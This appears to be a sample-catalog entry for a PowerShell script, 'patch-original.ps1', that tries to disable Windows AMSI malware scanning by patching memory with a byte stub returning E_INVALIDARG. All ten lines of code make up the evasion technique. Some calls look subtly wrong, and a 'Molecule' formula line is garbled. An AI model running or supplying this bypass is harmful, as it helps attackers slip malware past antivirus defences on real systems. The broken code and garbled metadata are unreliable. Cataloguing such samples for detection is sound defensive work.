patch-original.ps1
Attempts AMSI failure-flag patch with E_INVALIDARG stubResolves AMSI failure flag as export
SHA-2560214f45260d5c79fcc29dfabc4cc5cc193fd3dc9cdb4c945f2c99a3a7e76fd01
MaleculeO(Er)H₅(DbDsMg₃Po)
Evidence
1$dll = [System.Reflection.Assembly]::LoadWithPartialName('System.Management.Automation').Location
2$mod = [System.Runtime.InteropServices.Marshal]
3$addr = $mod::GetProcAddress($mod::GetModuleHandle($dll), 'AmsiInitFailed')
4$oldProtect = [IntPtr]::Zero
5$VirtualProtect = Add-Type -MemberDefinition '[DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect)' -Name "VP" -Namespace "W32" -PassThru
6$buf = [byte[]]@(0xB8,0x57,0x00,0x07,0x80,0xC3)
7$VirtualProtect::VirtualProtect($addr, [uint32]$buf.Length, 0x40, [ref]$oldProtect) | Out-Null
8$mod::Copy($addr, $buf, $buf.Length)
9$VirtualProtect::VirtualProtect($addr, [uint32]$buf.Length, $oldProtect, [ref]$oldProtect) | Out-Null
10Write-Output "AMSI patched"